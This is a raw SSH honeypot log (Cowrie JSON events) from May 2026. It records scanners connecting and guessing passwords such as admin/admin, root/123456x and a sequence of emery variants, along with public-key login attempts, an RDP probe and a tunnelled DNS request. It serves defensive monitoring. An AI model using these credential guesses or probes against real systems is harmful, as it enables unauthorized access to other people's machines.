{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:12.597028Z","src_ip":"87.251.64.176","session":"2848c14eadb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:12.696636Z","session":"2848c14eadb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:12.796350Z","src_ip":"87.251.64.176","session":"2848c14eadb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:12.932325Z","src_ip":"87.251.64.176","session":"2848c14eadb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51907,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff14881dda0","protocol":"ssh","message":"New connection: 152.42.212.128:51907 (159.203.135.109:22) [session: 5ff14881dda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:19.752435Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:19.756865Z","src_ip":"152.42.212.128","session":"5ff14881dda0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:19.760215Z","src_ip":"152.42.212.128","session":"5ff14881dda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b83033020683","protocol":"ssh","message":"New connection: 37.233.85.71:34352 (10.17.0.5:22) [session: b83033020683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:19.901895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:19.906528Z","src_ip":"37.233.85.71","session":"b83033020683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:20.015061Z","src_ip":"37.233.85.71","session":"b83033020683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456x","message":"login attempt [root/123456x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:20.342288Z","src_ip":"37.233.85.71","session":"b83033020683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:21.454138Z","src_ip":"37.233.85.71","session":"b83033020683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42918,"dst_ip":"10.17.0.5","dst_port":22,"session":"3582450bc05e","protocol":"ssh","message":"New connection: 87.251.79.125:42918 (10.17.0.5:22) [session: 3582450bc05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:44.008100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:44.013054Z","src_ip":"87.251.79.125","session":"3582450bc05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:44.084900Z","src_ip":"87.251.79.125","session":"3582450bc05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexsex","message":"login attempt [root/sexsex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:44.299701Z","src_ip":"87.251.79.125","session":"3582450bc05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:45.375793Z","src_ip":"87.251.79.125","session":"3582450bc05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc02d44aac31","protocol":"ssh","message":"New connection: 80.94.92.184:43494 (10.17.0.5:22) [session: bc02d44aac31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:47.405310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:47.481907Z","src_ip":"80.94.92.184","session":"bc02d44aac31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:47.633504Z","src_ip":"80.94.92.184","session":"bc02d44aac31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:48.508117Z","src_ip":"80.94.92.184","session":"bc02d44aac31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:43:49.775596Z","src_ip":"80.94.92.184","session":"bc02d44aac31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37212,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfafadb0ce62","protocol":"ssh","message":"New connection: 103.176.20.57:37212 (10.17.0.5:22) [session: cfafadb0ce62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:44:39.475355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:44:39.479181Z","src_ip":"103.176.20.57","session":"cfafadb0ce62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:44:39.730050Z","src_ip":"103.176.20.57","session":"cfafadb0ce62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1213141516","message":"login attempt [root/1213141516] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:44:40.484979Z","src_ip":"103.176.20.57","session":"cfafadb0ce62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:44:41.738594Z","src_ip":"103.176.20.57","session":"cfafadb0ce62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":5915,"dst_ip":"159.203.135.109","dst_port":22,"session":"84c4dd643d4c","protocol":"ssh","message":"New connection: 213.209.159.56:5915 (159.203.135.109:22) [session: 84c4dd643d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:23.319219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:23.324716Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:23.407451Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery","message":"login attempt [emery/emery] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:23.808006Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery1","message":"login attempt [emery/emery1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:24.894270Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery123","message":"login attempt [emery/emery123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:25.980771Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery1234","message":"login attempt [emery/emery1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:27.067110Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emery","password":"emery12345","message":"login attempt [emery/emery12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:28.152482Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:29.238203Z","src_ip":"213.209.159.56","session":"84c4dd643d4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":41374,"dst_ip":"10.17.0.5","dst_port":22,"session":"429920857ab4","protocol":"ssh","message":"New connection: 51.79.99.235:41374 (10.17.0.5:22) [session: 429920857ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.117481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.126352Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.146500Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:76:6f:e4:28:d4:5e:59:10:92:b8:a9:12:63:84:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRe9o/SueWs/uz8Qt7qxgM6B7UcEQVBU1LducTUx1aQgL6l10USwfSCNLd6kU5w894n0/XQm34Zl5CeP+l6w8NiWcpc0c66c3jwHxwfMaNwE/skFJEcuU/3MUVjaUyOQfRr286XA8E9mUiaAvrmIxUblNMGZa+bKt0sOW6CZORFcxkwHdzXp7Xq1Et+aL5RlI7665F0zZVyoXQDMQ6UfC7+NuG4gNJqMPKchiTXRfFhHtjwr+A4sfWTX6Rrp9O1Ue7HMwNe3QQqrbh+GyyVwqJqdU/p1TZI3IHPdBgj01OA8dfXgYRAhrHgVzA58U99Fjbpdc+ffQ5VH51UxJc2krv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:76:6f:e4:28:d4:5e:59:10:92:b8:a9:12:63:84:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.217004Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:76:6f:e4:28:d4:5e:59:10:92:b8:a9:12:63:84:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRe9o/SueWs/uz8Qt7qxgM6B7UcEQVBU1LducTUx1aQgL6l10USwfSCNLd6kU5w894n0/XQm34Zl5CeP+l6w8NiWcpc0c66c3jwHxwfMaNwE/skFJEcuU/3MUVjaUyOQfRr286XA8E9mUiaAvrmIxUblNMGZa+bKt0sOW6CZORFcxkwHdzXp7Xq1Et+aL5RlI7665F0zZVyoXQDMQ6UfC7+NuG4gNJqMPKchiTXRfFhHtjwr+A4sfWTX6Rrp9O1Ue7HMwNe3QQqrbh+GyyVwqJqdU/p1TZI3IHPdBgj01OA8dfXgYRAhrHgVzA58U99Fjbpdc+ffQ5VH51UxJc2krv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.220815Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:30:91:d5:7d:84:ec:74:36:15:6c:33:e5:5c:e3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ftZqWkf0g69Av89rm0d3qa4fD9QIvTttOWh7/3C5Vi3uaxPIBhCCzmAe7LRnpOvdstyo8w1gWYSl1U1fQ1JMfIHmX9bkb6lYngi3uvdth5ZpzwUwKWDi0NafUcabOjoCERntxfYDHEFsfcSxETPpzSzufGcyHRCr1jLvPfqnLKDBtUDdnsi1r6L5z/GPwvVNDOCG9KuerKVzQh0Z3nAREuPpmeYuvNE1ETaQTWZ45l2PH9J+/74Q1lHPGWE+WnBrybFUXJDjCSmkonzzCP+or9NOIUuwPS8JiNpU+vFm9aZmqldvDVWtpdqkUqh9RA9vpecBFi0kz4S8YB9ItzAd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:30:91:d5:7d:84:ec:74:36:15:6c:33:e5:5c:e3:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.239739Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
